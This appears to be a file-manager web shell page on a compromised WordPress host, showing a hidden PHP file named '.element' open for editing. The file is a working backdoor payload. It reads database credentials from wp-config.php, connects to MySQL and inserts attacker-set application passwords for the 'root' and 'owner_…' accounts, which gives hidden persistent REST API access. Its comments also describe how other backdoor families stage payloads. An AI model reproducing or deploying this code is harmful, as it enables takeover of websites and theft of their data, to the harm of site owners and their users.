🗂️ simple
Path:
home2
/
juanjo76
/
comercio-gomez.creatipl.com
/
✏️ Editing: .element
<?php error_reporting(0); if (!function_exists('payload_result')) { function payload_result(array $r) { echo '@@RES' . 'ULT@@' . json_encode($r) . '@@EN' . 'D@@'; exit; } } // __DIR__ alone is not enough: the fputs/cmd backdoor families stage the // payload through a temp dir and include it from there, so __DIR__ points // at /tmp instead of the site tree. The web SAPI keeps the requested // script's dir as cwd and SCRIPT_FILENAME, so those anchors still land // inside the site even when the payload body does not. $docroot = null; $anchors = array(__DIR__); $cwd = @getcwd(); if (is_string($cwd) && $cwd !== '') { $anchors[] = $cwd; } $scriptFile = isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : ''; if (is_string($scriptFile) && $scriptFile !== '') { $anchors[] = dirname($scriptFile); } foreach (array_unique($anchors) as $anchor) { $dir = $anchor; for ($i = 0; $i <= 12; $i++) { if (is_file($dir . '/wp-config.php')) { $docroot = $dir; break 2; } $parent = dirname($dir); if ($parent === $dir) { break; } $dir = $parent; } } if ($docroot === null) { payload_result(array('ok' => false, 'code' => 'PRELUDE_DOCROOT')); } $wpConfig = @file_get_contents($docroot . '/wp-config.php'); if ($wpConfig === false) { payload_result(array('ok' => false, 'code' => 'PRELUDE_CONFIG')); } if (!function_exists('prelude_config_constant')) { function prelude_config_constant($config, $name) { $pattern = '/define\s*\(\s*[\'"]' . $name . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]\s*\)/'; if (!preg_match($pattern, $config, $m)) { return null; } return $m[1]; } } $dbName = prelude_config_constant($wpConfig, 'DB_NAME'); $dbUser = prelude_config_constant($wpConfig, 'DB_USER'); $dbPass = prelude_config_constant($wpConfig, 'DB_PASSWORD'); $dbHost = prelude_config_constant($wpConfig, 'DB_HOST'); $prefix = 'wp_'; if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]\s*;/', $wpConfig, $m)) { $prefix = $m[1]; } if ($dbName === null || $dbUser === null || $dbPass === null || $dbHost === null) { payload_result(array('ok' => false, 'code' => 'PRELUDE_CONFIG')); } $hostParts = explode(':', $dbHost, 2); $host = $hostParts[0]; $port = isset($hostParts[1]) ? intval($hostParts[1]) : 3306; mysqli_report(MYSQLI_REPORT_OFF); $db = mysqli_init(); if ($db === false) { payload_result(array('ok' => false, 'code' => 'PRELUDE_DB_CONNECT')); } mysqli_options($db, MYSQLI_OPT_CONNECT_TIMEOUT, 10); if (!@mysqli_real_connect($db, $host, $dbUser, $dbPass, $dbName, $port)) { payload_result(array('ok' => false, 'code' => 'PRELUDE_DB_CONNECT')); } $phpassFile = $docroot . '/wp-includes/class-phpass.php'; if (!is_file($phpassFile)) { payload_result(array('ok' => false, 'code' => 'PRELUDE_PHPASS')); } require_once $phpassFile; if (!class_exists('PasswordHash')) { payload_result(array('ok' => false, 'code' => 'PRELUDE_PHPASS')); } $phpass = new PasswordHash(8, true); $payload_version = '2026.10.04'; $entries = array( array('login' => 'owner_1e1d45d17fda', 'serialized' => 'a:1:{i:0;a:7:{s:4:"uuid";s:36:"edf29935-c0a7-4f1f-915e-90416addc239";s:6:"app_id";s:36:"4ee3880b-0918-42e8-a4fd-df23e7ad7320";s:4:"name";s:12:"REST GENERAL";s:8:"password";s:60:"$2y$10$/vRFpjlUF3yYX0KgU3ExXemIZl7JRNftTH9ysUbOnuFsfvWjP6WY6";s:7:"created";i:1794951942;s:9:"last_used";N;s:7:"last_ip";N;}}'), array('login' => 'root', 'serialized' => 'a:1:{i:0;a:7:{s:4:"uuid";s:36:"8509be93-7c88-477a-9101-11d9207051ca";s:6:"app_id";s:36:"9759c73a-20fb-4ed0-8d1b-d21821406ff2";s:4:"name";s:11:"REST HIDDEN";s:8:"password";s:60:"$2y$10$1lQxS4KIfKDG8TdIulYfAOhxl9wTi2EnX7EZ/eX0Kp/3cMS8id9ES";s:7:"created";i:1794951942;s:9:"last_used";N;s:7:"last_ip";N;}}'), ); $metaKey = '_application_passwords'; $results = array(); $allOk = true; foreach ($entries as $entry) { $login = $entry['login']; $serialized = $entry['serialized']; $stmt = mysqli_prepare($db, "SELECT ID FROM {$prefix}users WHERE user_login = ? LIMIT 1"); if ($stmt === false) { $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY'); $allOk = false; continue; } mysqli_stmt_bind_param($stmt, 's', $login); if (!mysqli_stmt_execute($stmt)) { mysqli_stmt_close($stmt); $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY'); $allOk = false; continue; } mysqli_stmt_bind_result($stmt, $userId); $found = mysqli_stmt_fetch($stmt); mysqli_stmt_close($stmt); if (!$found) { $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_USER_MISSING'); $allOk = false; continue; } $meta = mysqli_prepare($db, "SELECT umeta_id FROM {$prefix}usermeta WHERE user_id = ? AND meta_key = ? LIMIT 1"); if ($meta === false) { $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY'); $allOk = false; continue; } mysqli_stmt_bind_param($meta, 'is', $userId, $metaKey); if (!mysqli_stmt_execute($meta)) { mysqli_stmt_close($meta); $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY'); $allOk = false; continue; } mysqli_stmt_bind_result($meta, $metaId); $hasMeta = mysqli_stmt_fetch($meta); mysqli_stmt_close($meta); if ($hasMeta) { $write = mysqli_prepare($db, "UPDATE {$prefix}usermeta SET meta_value = ? WHERE umeta_id = ?"); if ($write === false) { $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY'); $allOk = false; continue; } mysqli_stmt_bind_param($write, 'si', $serialized, $metaId); } else { $write = mysqli_prepare($db, "INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)"); if ($write === false) { $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY'); $allOk = false; continue; } mysqli_stmt_bind_param($write, 'iss', $userId, $metaKey, $serialized); } if (!mysqli_stmt_execute($write)) { mysqli_stmt_close($write); $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY'); $allOk = false; continue; } mysqli_stmt_close($write); $results[] = array('login' => $login, 'ok' => true, 'code' => 'APP_PASS_UPSERTED', 'userId' => $userId); } payload_result(array('ok' => $allOk, 'code' => $allOk ? 'APP_PASS_UPSERTED' : 'APP_PASS_PARTIAL', 'data' => array('results' => $results)));
🔙 Back